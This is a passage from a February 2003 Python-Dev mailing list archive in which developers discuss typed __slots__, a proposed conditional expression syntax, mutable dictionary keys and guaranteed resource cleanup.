jacobs@penguin.theopalgroup.com Thu Feb 6 19:39:45 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Thu, 6 Feb 2003 14:39:45 -0500 (EST) Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: Message-ID: On 6 Feb 2003, Thomas Heller wrote: > Guido van Rossum writes: > > Can you suggest a concrete syntax to do this? Maybe setting __slots__ > > to a dictionary mapping names to type specifiers would do it -- and it > > would even be backwards compatible: currently, if __slots__ is a dict, > > its keys are used as slot names and its values are ignored, by virtue > > of the way the type constructor iterates over __slots__. > > May I suggest to use an ordered sequence (of pairs) instead of a dict > for __slots__. Then you also can completely control the layout that > C code sees and construct C compatible structures or other data types > from pure Python code. I'm happy with this approach, so long as the tuples can also be keys in a dictionary. ;) Here is an example of what my metaclass does: > > Here's how ctypes does it: It's named _fields_ instead of __slots__, > and typically you write something like this > > class Point(Structure): > _fields_ = [("x", "i"), > ("y", "i")] > > which defines a Python objects having x and y instance vars, which > must be integers. My metaclass does something similar, though it does not affect the storage, only the validity constraints: def enforce_int(x): if not isinstance(x, (int,long)): raise TypeError def enforce_str(x): if not isinstance(x, basestring): raise TypeError class Foo(object): __metaclass__ = ConstraintObject __slots__ = { 'a' : enforce_int, 'b' : enforce_str, 'c' : str } foo = Foo() foo.a = 1 foo.a = 1.0 > TypeError foo.b = '1' foo.b = 1 > TypeError foo.c = 1 type(foo.c) == '1' -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From gherron@islandtraining.com Thu Feb 6 18:39:52 2003 From: gherron@islandtraining.com (Gary Herron) Date: Thu, 6 Feb 2003 10:39:52 -0800 Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061808.h16I8jM26135@odiug.zope.com> References: <20030206043026.GA29482@homer.gst.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> Message-ID: <200302061039.52903.gherron@islandtraining.com> On Thursday 06 February 2003 10:08 am, Guido van Rossum wrote: > > Guido> I think I've seen the suggestion > > > > Guido> x = (y if y>z else z) > > > > Guido> :-) > > > > That's not bad, even though it looks Perlish :-) > > > > It has the advantage of looking like a list comprehension. > > > > I presume the parentheses would be mandatory. > > Maybe I should write a PEP and let the folks in c.l.py vote on it, > just for fun. (I expect to get about as many yes votes as no votes. :-) > If this is just for fun, why stop with just "trinary"? How about one of the following (depending on ease of parsing)? These look even more like list comprehension. x = (e1 if c1 e2 if c2 e3 if c3 ... else d) x = (e1 if c1 else e2 if c2 else e3 if c3 ... else d) I guess we'd have to call it the n-ary operator. Gary Herron From gsw@agere.com Thu Feb 6 19:44:47 2003 From: gsw@agere.com (Gerald S. Williams) Date: Thu, 6 Feb 2003 14:44:47 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <20030206190302.31313.24868.Mailman@mail.python.org> Message-ID: Guido van Rossum wrote: > > Guido> x = (y if y>z else z) > Maybe I should write a PEP and let the folks in c.l.py vote on it, > just for fun. (I expect to get about as many yes votes as no votes. :-) As long as you wait until April 1 (that's an odd day). I'm an even-day fan of trinary operators myself, but this opens too many questions. For example, with regard to short-circuiting, it will be inconsistent with other expressions at some level in either form or function. -Jerry From just@letterror.com Thu Feb 6 19:42:59 2003 From: just@letterror.com (Just van Rossum) Date: Thu, 6 Feb 2003 20:42:59 +0100 Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries In-Reply-To: <200302061857.h16IvXu28747@odiug.zope.com> Message-ID: [JvR] > > When implemented in C in dictobject.c, this would add no overhead > > for the "normal" case (when keys _are_ directly hashable). [GvR] > I have a small doubt about this claim. Inserting code into > PyDict_SetItem(), even if it is normally never executed, may reduce > code locality and hence cause the code to miss the cache more often > than before. This *may* be addressed by rearranging the code, but > there's a limit to that. Ok, so this will need to be addressed somehow. > I have a countersuggestion. > > Could you do this as a subclass of dict? A subclass in Python would > be inefficient, but might still be good enough for your second use > case (the ObjC bridge). If not, a subclass in Python might be > feasible -- it would be a little bit more work than integrating it > into dictobject.c, but you have a lot less convincing to do, and you > can even get it to work with Python 2.2. But it doesn't solve our problem. We have no control over what dictionaries are used, either by our users directly or by the Python library they use. We _do_ have control over the keys that are causing troubles: our main problem is that we cannot rely on NSString instances to be immutable, yet we need the ability to use them as keys in (regular) dicts, just as if they were Python strings. Just From tismer@tismer.com Thu Feb 6 19:46:33 2003 From: tismer@tismer.com (Christian Tismer) Date: Thu, 06 Feb 2003 20:46:33 +0100 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: References: <3E42ADCD.8010605@tismer.com> <200302061909.h16J9II29413@odiug.zope.com> Message-ID: <3E42BB99.5010704@tismer.com> Thomas Heller wrote: [extending __slots__] > May I suggest to use an ordered sequence (of pairs) instead of a dict > for __slots__. Then you also can completely control the layout that > C code sees and construct C compatible structures or other data types > from pure Python code. Huh, are you fast! I was about to propose exactly this same thing: If we deal with flat types, then we also can define their precise layout. Using a dict would anyway be nicer to read, because the colons are quite illustrative. For literal dicts, it would be imaginable to hook into the build_dict and grab the objects from the stack in order... ...I see Guido's head shaking :-) Another way would be not to go away from __slots__ as a simple list, but allow to use structure objects with the necessary attribute like name, type, whatever instead of the name strings. This could go as far as to also allow redefining getters and setters at the same time. Is this going too far? Am I re-inventing something like CTypes? At first thought, I'd stick with [(name, type), ...], just to get things started. > > Here's how ctypes does it: It's named _fields_ instead of __slots__, > and typically you write something like this > > class Point(Structure): > _fields_ = [("x", "i"), > ("y", "i")] > > which defines a Python objects having x and y instance vars, which > must be integers. > > ctypes extends this so that instead of the (struct module compatible) > format specified "i", also Python objects are allowed which describe > a C data type. What would this C data type be? Other structs as well, or only atomic types? Do you think of even specifying (name, bitsize, alignment), or is this overdone? ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Thu Feb 6 19:46:24 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 14:46:24 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: Your message of "Thu, 06 Feb 2003 14:31:29 EST." References: Message-ID: <200302061946.h16JkOj31730@odiug.zope.com> > On Thu, 6 Feb 2003, Guido van Rossum wrote: > > Can you suggest a concrete syntax to do this? Maybe setting __slots__ > > to a dictionary mapping names to type specifiers would do it -- and it > > would even be backwards compatible: currently, if __slots__ is a dict, > > its keys are used as slot names and its values are ignored, by virtue > > of the way the type constructor iterates over __slots__. > > I already use __slots__ assigned to dictionaries where the values are not > ignored. They are interpreted by a metaclass to apply type conversion > operators and type/value enforcement predicates to slots. I hope that > future versions of Python will not tread on this feature. (Though I'd > happily trade in this feature in exchange for having __slots__ be immutable) Hm... Given this feedback, it sounds like the only way to implement Christian's suggestion in a backwards-compatible way would be to use a different __xxx__ name, e.g. __fields__. I also like the suggestion of allowing control over the order as well. --Guido van Rossum (home page: http://www.python.org/~guido/) From exarkun@intarweb.us Thu Feb 6 19:47:59 2003 From: exarkun@intarweb.us (Jp Calderone) Date: Thu, 6 Feb 2003 14:47:59 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061039.52903.gherron@islandtraining.com> References: <20030206043026.GA29482@homer.gst.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061039.52903.gherron@islandtraining.com> Message-ID: <20030206194759.GB31176@meson.dyndns.org> --DBIVS5p969aUjpLe Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Feb 06, 2003 at 10:39:52AM -0800, Gary Herron wrote: > On Thursday 06 February 2003 10:08 am, Guido van Rossum wrote: > [snip] >=20 > If this is just for fun, why stop with just "trinary"? How about one > of the following (depending on ease of parsing)? These look even more > like list comprehension. >=20 > x =3D (e1 if c1 e2 if c2 e3 if c3 ... else d) > x =3D (e1 if c1 else e2 if c2 else e3 if c3 ... else d) >=20 >=20 > I guess we'd have to call it the n-ary operator. >=20 Or "conditional comprehensions"? :) Jp --=20 http://catandgirl.com/view.cgi?44 --=20 up 52 days, 23:50, 3 users, load average: 0.28, 0.23, 0.24 --DBIVS5p969aUjpLe Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE+QrvvedcO2BJA+4YRAglqAJ9TPwg3RqhPndKznR4hiyfa+kiK9gCgk6WV Koa6MAeQzX6YvmNfvjJAnp0= =UpiP -----END PGP SIGNATURE----- --DBIVS5p969aUjpLe-- From guido@python.org Thu Feb 6 19:49:23 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 14:49:23 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: Your message of "Thu, 06 Feb 2003 10:39:52 PST." <200302061039.52903.gherron@islandtraining.com> References: <20030206043026.GA29482@homer.gst.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061039.52903.gherron@islandtraining.com> Message-ID: <200302061949.h16JnOc32020@odiug.zope.com> > If this is just for fun, why stop with just "trinary"? (Which BTW is a non-word; the correct term is "ternary".) > How about one of the following (depending on ease of parsing)? > These look even more like list comprehension. > > x = (e1 if c1 e2 if c2 e3 if c3 ... else d) Doesn't parse. The concatenation of two expressions is not always distinguishable from a single expression: consider c1 = f and c2 = (1, 2). > x = (e1 if c1 else e2 if c2 else e3 if c3 ... else d) That works. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Thu Feb 6 20:01:43 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 15:01:43 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: Your message of "Thu, 06 Feb 2003 14:44:47 EST." References: Message-ID: <200302062001.h16K1hJ32460@odiug.zope.com> > As long as you wait until April 1 (that's an odd day). :-) > I'm an even-day fan of trinary operators myself, but > this opens too many questions. For example, with > regard to short-circuiting, it will be inconsistent > with other expressions at some level in either form > or function. How so? If we give 'or' (and hence 'and') a higher priority -- i.e. binding tighter -- than 'if' and 'else', it's unambiguous to the parser and also consistent with the if statement: if x and y: print 1 else print 0 means the same as print 1 if x and y else 0 This is also similar to how lambda groups relative to and/or (and/or has a higher priority). I'm not sure yet how lambda and if/else should group relative to each other. --Guido van Rossum (home page: http://www.python.org/~guido/) From jacobs@penguin.theopalgroup.com Thu Feb 6 20:06:08 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Thu, 6 Feb 2003 15:06:08 -0500 (EST) Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <200302061946.h16JkOj31730@odiug.zope.com> Message-ID: On Thu, 6 Feb 2003, Guido van Rossum wrote: > Hm... Given this feedback, it sounds like the only way to implement > Christian's suggestion in a backwards-compatible way would be to use a > different __xxx__ name, e.g. __fields__. I also like the suggestion > of allowing control over the order as well. Not to be difficult, but I already use '__fields__' for the same purpose as dictionaries assigned to __slots__ for non-slot attributes. (Yes, I know that this means nothing, since __xyz__ names are fair game, though I think it is extremely funny that fate is trying to kill my ConatraintObject metatype) -Kevin ;) -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From theller@python.net Thu Feb 6 20:13:23 2003 From: theller@python.net (Thomas Heller) Date: 06 Feb 2003 21:13:23 +0100 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: References: Message-ID: <7kcdgobg.fsf@python.net> Kevin Jacobs writes: > On Thu, 6 Feb 2003, Guido van Rossum wrote: > > Hm... Given this feedback, it sounds like the only way to implement > > Christian's suggestion in a backwards-compatible way would be to use a > > different __xxx__ name, e.g. __fields__. I also like the suggestion > > of allowing control over the order as well. > > Not to be difficult, but I already use '__fields__' for the same purpose as > dictionaries assigned to __slots__ for non-slot attributes. > > (Yes, I know that this means nothing, since __xyz__ names are fair game, > though I think it is extremely funny that fate is trying to kill my > ConatraintObject metatype) That's the exact reason ctypes uses '_fields_' as the name ;-) Although I'm currently wondering if I should use __slots__ instead, and set it to a whatever is needed. Each tp_new could retrieve whatever info it needs from it, and pass the mangled resulting __slots__ to the base metaclass tp_new thing. Thomas From theller@python.net Thu Feb 6 20:09:08 2003 From: theller@python.net (Thomas Heller) Date: 06 Feb 2003 21:09:08 +0100 Subject: [Python-Dev] __slots__ (was: mandatory use of cyclic GC ...) In-Reply-To: <3E42BB99.5010704@tismer.com> References: <3E42ADCD.8010605@tismer.com> <200302061909.h16J9II29413@odiug.zope.com> <3E42BB99.5010704@tismer.com> Message-ID: Christian Tismer writes: > Thomas Heller wrote: > > [extending __slots__] > > > May I suggest to use an ordered sequence (of pairs) instead of a dict > > for __slots__. Then you also can completely control the layout that > > C code sees and construct C compatible structures or other data types > > from pure Python code. > > Huh, are you fast! > I was about to propose exactly this same thing: > If we deal with flat types, then we also can > define their precise layout. > > Using a dict would anyway be nicer to read, > because the colons are quite illustrative. > For literal dicts, it would be imaginable to > hook into the build_dict and grab the objects > from the stack in order... > ...I see Guido's head shaking :-) Yes... It would be nice to write something like this D(x=1, y=2, z=3) or { "x": 1, "y": 2, "z": 3 } to create a sequence which maintains the order, but I've given up on this. OTOH, the sequence of tuples looks somewhat like Scheme (replace the '[' by '(', and remove the commas ;-) > > Another way would be not to go away from __slots__ as > a simple list, but allow to use structure objects > with the necessary attribute like name, type, whatever > instead of the name strings. This could go as far as > to also allow redefining getters and setters at the same > time. > > Is this going too far? > Am I re-inventing something like CTypes? The aasic ideas are IIUC the same. The core of ctypes (if you would like to name it this way) is to provide an (extensible) system of classes which describe C data types. These are used to - construct from Python and manipulate from Python *and* from C code instances of these data types transparently - convert Python objects into C data (for C function calls) - convert C data into Python objects (for results from C function calls) - define new C data types structures, unions, pointers, whatever, from pure Python code (kind of 'typedef') > > > > [...] > Where is my validator =;-) > > What would this C data type be? Other structs as well, > or only atomic types? Do you think of even specifying > (name, bitsize, alignment), or is this overdone? (Bitsizes are not (yet) supported, alignment is derived using standard rules from the base data types.) See above: anything which you could also do in C. I'm currently working on a simple COM client and server 'framework', where you define, use, and implement COM interfaces in pure Python with help from ctypes. I could further explain this if there's interest, but this is probably more on-topic for pypy-dev or ctypes-users. > > ciao - chris Thomas PS: The reason I'm explaining this in detail several times is that I think that ctypes has large potential (although it's too unsafe to go into the Python core), and I want to attract more people looking at it. I want to make sure I got everything correct in the API. Understandable if you know Python and C at least. From esr@thyrsus.com Thu Feb 6 20:13:04 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Thu, 6 Feb 2003 15:13:04 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302062001.h16K1hJ32460@odiug.zope.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> Message-ID: <20030206201304.GI22912@thyrsus.com> Guido van Rossum : > I'm not sure yet how lambda and if/else should group relative to each > other. I am. Lambda should bind more loosely. Consider the typical callback lambda usage case: MyGuiButton(lambda: mysort() if mode == SORT else browse(), "Do it.") That is, I definitely want the scope of the lambda to go all the way to the comma. I like the suggestion for the extended n-ary form. Partly because it's a stronger helper for the most important usage context, but also because it moves Python more towards being an expression-oriented language. -- Eric S. Raymond From tjreedy@udel.edu Thu Feb 6 20:31:17 2003 From: tjreedy@udel.edu (Terry Reedy) Date: Thu, 6 Feb 2003 15:31:17 -0500 Subject: [Python-Dev] Re: Trinary Operators References: <20030206043026.GA29482@homer.gst.com> Message-ID: "Christopher Blunck" wrote in message news:20030206043026.GA29482@homer.gst.com... > I have a brief and quick question- > > What was the reasoning for not supporting trinary operators in py? Go to http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&group=comp.lang.pyt hon enter "ternary operator" and check Python only box and you will get 139 responses. I believe at least some address why as well as what. TJR From aahz@pythoncraft.com Thu Feb 6 20:36:32 2003 From: aahz@pythoncraft.com (Aahz) Date: Thu, 6 Feb 2003 15:36:32 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302062001.h16K1hJ32460@odiug.zope.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> Message-ID: <20030206203632.GA17146@panix.com> On Thu, Feb 06, 2003, Guido van Rossum wrote: >Gerald S. Williams: >> >> I'm an even-day fan of trinary operators myself, but this opens too >> many questions. For example, with regard to short-circuiting, it will >> be inconsistent with other expressions at some level in either form >> or function. > > How so? If we give 'or' (and hence 'and') a higher priority -- > i.e. binding tighter -- than 'if' and 'else', it's unambiguous to the > parser and also consistent with the if statement: > > if x and y: > print 1 > else > print 0 > > means the same as > > print 1 if x and y else 0 > > This is also similar to how lambda groups relative to and/or (and/or > has a higher priority). Are they really equivalent? What about print h() if f() and g() versus if f() and g(): print h() Does g() get called if f() is false? What about h()? -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ "Argue for your limitations, and sure enough they're yours." --Richard Bach From guido@python.org Thu Feb 6 20:44:03 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 15:44:03 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: Your message of "Thu, 06 Feb 2003 15:36:32 EST." <20030206203632.GA17146@panix.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> <20030206203632.GA17146@panix.com> Message-ID: <200302062044.h16Ki3F00350@odiug.zope.com> > Are they really equivalent? What about > > print h() if f() and g() > > versus > > if f() and g(): > print h() > > Does g() get called if f() is false? What about h()? Do you know the ternary operator in C? --Guido van Rossum (home page: http://www.python.org/~guido/) From neal@metaslash.com Thu Feb 6 20:48:35 2003 From: neal@metaslash.com (Neal Norwitz) Date: Thu, 06 Feb 2003 15:48:35 -0500 Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries In-Reply-To: References: <200302061857.h16IvXu28747@odiug.zope.com> Message-ID: <20030206204835.GA23059@epoch.metaslash.com> On Thu, Feb 06, 2003 at 08:42:59PM +0100, Just van Rossum wrote: > > [GvR] > > Could you do this as a subclass of dict? A subclass in Python would > > be inefficient, but might still be good enough for your second use > > case (the ObjC bridge). If not, a subclass in Python might be > > feasible -- it would be a little bit more work than integrating it > > into dictobject.c, but you have a lot less convincing to do, and you > > can even get it to work with Python 2.2. > > But it doesn't solve our problem. We have no control over what > dictionaries are used, either by our users directly or by the Python > library they use. We _do_ have control over the keys that are causing > troubles: our main problem is that we cannot rely on NSString instances > to be immutable, yet we need the ability to use them as keys in > (regular) dicts, just as if they were Python strings. Couldn't you add an as_key() method to NSString? Then dict access would always be like: dict[nsstring.as_key()] Neal From just@letterror.com Thu Feb 6 21:02:58 2003 From: just@letterror.com (Just van Rossum) Date: Thu, 6 Feb 2003 22:02:58 +0100 Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries In-Reply-To: <20030206204835.GA23059@epoch.metaslash.com> Message-ID: Neal Norwitz wrote: > Couldn't you add an as_key() method to NSString? Then dict > access would always be like: > > dict[nsstring.as_key()] That's not my idea of transparent bridging, so no ;-) Just From aahz@pythoncraft.com Thu Feb 6 21:05:47 2003 From: aahz@pythoncraft.com (Aahz) Date: Thu, 6 Feb 2003 16:05:47 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302062044.h16Ki3F00350@odiug.zope.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> <20030206203632.GA17146@panix.com> <200302062044.h16Ki3F00350@odiug.zope.com> Message-ID: <20030206210547.GA27390@panix.com> On Thu, Feb 06, 2003, Guido van Rossum wrote: >Aahz: >> >> Are they really equivalent? What about >> >> print h() if f() and g() >> >> versus >> >> if f() and g(): >> print h() >> >> Does g() get called if f() is false? What about h()? > > Do you know the ternary operator in C? Thanks to my handy K&R2, now I do. ;-) But I'm always suspicious when the proposed syntax doesn't have a simple L->R or R->L semantic, which is the main thing I don't like about listcomps. So I figured I'd make sure. After all, explicit is better than implicit, and that goes triple when human languages are used. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ "Argue for your limitations, and sure enough they're yours." --Richard Bach From gsw@agere.com Thu Feb 6 21:18:43 2003 From: gsw@agere.com (Gerald S. Williams) Date: Thu, 6 Feb 2003 16:18:43 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302062001.h16K1hJ32460@odiug.zope.com> Message-ID: Guido van Rossum wrote: > > For example, with regard to short-circuiting, it will be > > inconsistent with other expressions at some level in > > either form or function. > > How so? [ ... ] > if x and y: > print 1 > else > print 0 > > means the same as > > print 1 if x and y else 0 That's what I figured. In that case, the "inconsistency in form" is the order of evaluation. The expression in the middle is evaluated, then either the one on the left or the one on the right. Not everyone will see this as a big issue, but it is a potential source of confusion. I did qualify my statement with "at some level". :-) Compare this to the order of evaluation in the current equivalent (parentheses for clarity only): (x and y) and 1 or 0 or if you prefer: ((x and y) and [1] or [0])[0] The order of evaluation is the same, but the form is different. If you are expecting short-circuiting, it's clear in this case that it's left-to-right. -Jerry From esr@thyrsus.com Thu Feb 6 21:18:28 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Thu, 6 Feb 2003 16:18:28 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: References: <200302062001.h16K1hJ32460@odiug.zope.com> Message-ID: <20030206211828.GC23589@thyrsus.com> Gerald S. Williams : > In that case, the "inconsistency in form" is the order of > evaluation. The expression in the middle is evaluated, > then either the one on the left or the one on the right. > Not everyone will see this as a big issue, but it is a > potential source of confusion. Yeeeouch. And the proposed n-ary form is even worse. -- Eric S. Raymond From ark@research.att.com Thu Feb 6 21:29:14 2003 From: ark@research.att.com (Andrew Koenig) Date: 06 Feb 2003 16:29:14 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302062001.h16K1hJ32460@odiug.zope.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> Message-ID: Guido> I'm not sure yet how lambda and if/else should group relative Guido> to each other. Note first that there is no question of precedence between "if" and "else" because every "if" is paired with exactly one "else". The problem, then, arises in the following contexts: ... lambda ... : ... if ... else .... ... if ... else ... lambda ... : ... There doesn't appear to be a problem with the lambda on the right, either! I say that because once you get past the colon, you're in an ordinary expression and whatever rules applied before still apply. So I think the only real problem is with the lambda on the left. There, I think that the if/else should bind more tightly than the lambda, because it will be much more common to have a conditional as the body of a lambda expression than it will be to have a conditional that yields a lambda. I think of this as the canonical example: fact = lambda n: n*fact(n-1) if n>0 else 1 It's hard to think of an equally nice one with lambda on the right, but maybe this is semi-convincing: future_x = x if callable(x) else lambda: x It doesn't bother me that the relative precedence of if/else and lambda is different on the left and right, because lambda is one of these oddball low-precedence unary operators in the first place. C++ has similar oddities with the relative precedence of :? and = . -- Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark From ark@research.att.com Thu Feb 6 21:32:23 2003 From: ark@research.att.com (Andrew Koenig) Date: 06 Feb 2003 16:32:23 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <20030206211828.GC23589@thyrsus.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> <20030206211828.GC23589@thyrsus.com> Message-ID: Eric> Yeeeouch. And the proposed n-ary form is even worse. On the other hand, we already have the problem with list comprehensions: [f(i) for i in range(n) if g(i)] Here, every evaluation of f(i) is preceded by an evaluation of g(i). -- Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark From gsw@agere.com Thu Feb 6 21:41:07 2003 From: gsw@agere.com (Gerald S. Williams) Date: Thu, 6 Feb 2003 16:41:07 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: Message-ID: Andrew Koenig wrote: > On the other hand, we already have the problem with list comprehensions: > > [f(i) for i in range(n) if g(i)] I tried to be careful not to imply that left-to-right short-circuiting was the only way to go. And I don't think we're likely to confuse people who are already comfortable with list comprehensions. It's the other 99% I'm concerned about. ;-) -Jerry From bac@OCF.Berkeley.EDU Thu Feb 6 20:08:46 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Thu, 6 Feb 2003 12:08:46 -0800 (PST) Subject: Atomic operations (was Re: [Python-Dev] Why did Fredrik leave the party?) In-Reply-To: <15938.27939.731673.576239@gargle.gargle.HOWL> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <20030205184351.GA17468@thyrsus.com> <15938.27939.731673.576239@gargle.gargle.HOWL> Message-ID: [Barry A. Warsaw] > > Brett (I think) suggested that there may be alternatives to a > syntactic approach, e.g. one that prohibits thread switching between > the resource acquisition and the entering of the try. That might be > interesting to explore, but I worry about deadlock possibilities. > Yes, I suggested this, but at an improper time. I had forgotten Guido had asked that new ideas that tied into the syntax proposals not be brought up until summaries of the old ideas were done. My bad. =) Anyway, so I am going to read the paper that Jeremy posted the link to, but I am going to ask that we save discussing this until we get those summaries (or discuss it off-list if anyone cares to). Maybe this will motivate me to come up with some half-assed summary just to have one done and force people to clean them up if they care about the proposal. =) -Brett From guido@python.org Thu Feb 6 20:02:49 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 15:02:49 -0500 Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries In-Reply-To: Your message of "Thu, 06 Feb 2003 20:42:59 +0100." References: Message-ID: <200302062002.h16K2no32477@odiug.zope.com> > > Could you do this as a subclass of dict? A subclass in Python would > > be inefficient, but might still be good enough for your second use > > case (the ObjC bridge). If not, a subclass in Python might be > > feasible -- it would be a little bit more work than integrating it > > into dictobject.c, but you have a lot less convincing to do, and you > > can even get it to work with Python 2.2. > > But it doesn't solve our problem. We have no control over what > dictionaries are used, either by our users directly or by the Python > library they use. We _do_ have control over the keys that are causing > troubles: our main problem is that we cannot rely on NSString instances > to be immutable, yet we need the ability to use them as keys in > (regular) dicts, just as if they were Python strings. OK, go ahead and try to implement your idea, and report benchmarks here. --Guido van Rossum (home page: http://www.python.org/~guido/) From mchermside@ingdirect.com Thu Feb 6 22:07:07 2003 From: mchermside@ingdirect.com (Chermside, Michael) Date: Thu, 6 Feb 2003 17:07:07 -0500 Subject: [Python-Dev] Extended Function syntax Message-ID: <7F171EB5E155544CAC4035F0182093F04211CC@INGDEXCHSANC1.ingdirect.com> Oren Tirosh writes: > Currently, when a generator yields and is never resumed it just dies > silently. I suggest that it would be resumed one last time with an=20 > AbortIteration exception raised at the yield statement. [...] > The difference is that this exception=20 > based system does not make such a strong guarantee as try/finally - it = > will be triggered when the iteration is aborted by break, return or an = > exception in the looping scope but not by a __del__ of a generator=20 > object dropping to refcnt of 0 so it should be "Jythonially correct". Essentially, you're proposing that we USUALLY but not ALWAYS guarantee to call __leave__ (aka __exit__). To me, this suffers from the same problem that your generators patch had... guarantees need to be solid! In the case of generators, I think it's better saying "yield cannot be used inside of try-finally" than saying "if yield is used inside of try-finally then on rare occasions the finally clause may not execute". Similarly, I think if we plan to use this for problems like resource=20 allocation-deallocation, then we'd better not say "__leave__ will usually be called" -- that's practically useless. We need a solid guarantee. -- Michael Chermside From gherron@islandtraining.com Thu Feb 6 22:23:02 2003 From: gherron@islandtraining.com (Gary Herron) Date: Thu, 6 Feb 2003 14:23:02 -0800 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <20030206211828.GC23589@thyrsus.com> References: <200302062001.h16K1hJ32460@odiug.zope.com> <20030206211828.GC23589@thyrsus.com> Message-ID: <200302061423.02637.gherron@islandtraining.com> On Thursday 06 February 2003 01:18 pm, Eric S. Raymond wrote: > Gerald S. Williams : > > In that case, the "inconsistency in form" is the order of > > evaluation. The expression in the middle is evaluated, > > then either the one on the left or the one on the right. > > Not everyone will see this as a big issue, but it is a > > potential source of confusion. > > Yeeeouch. And the proposed n-ary form is even worse. Not really all that bad. Over all (e1 if c1 else e2 if c2 else e3) proceeds left to right through each "en if cn" part. Of course, the order in each "en if cn" part is reversed, but you already had that in the initial ternary form. Gary Herron From mchermside@ingdirect.com Thu Feb 6 22:26:30 2003 From: mchermside@ingdirect.com (Chermside, Michael) Date: Thu, 6 Feb 2003 17:26:30 -0500 Subject: [Python-Dev] Acquire/release functionality Message-ID: <7F171EB5E155544CAC4035F0182093F04211CD@INGDEXCHSANC1.ingdirect.com> Alex Martelli writes: > I *LIKE* this: a termination-method SHOULD be idempotent > (a no-op when called more than once), so that if various ways to > "ensure the termination method is called" happen to be used all > at once, that doesn't break anything. I'm not sure I agree. You write your code which does 3 different things to ensure that the file gets closed. Then I, the poor maintenance programmer, is asked to make a change... don't close the file until later on. I find the spot in the code where you=20 close the file and "fix" it... but the file still seems to close! I find ANOTHER spot where you close it, and remove that one too... but the file STILL won't behave. If we had a SINGLE approach which was reliable and easy-to-use,=20 (which is, of course, what we're aiming for) couldn't we just use=20 that everywhere, and use it just once? -- Michael Chermside From esr@thyrsus.com Thu Feb 6 22:20:14 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Thu, 6 Feb 2003 17:20:14 -0500 Subject: 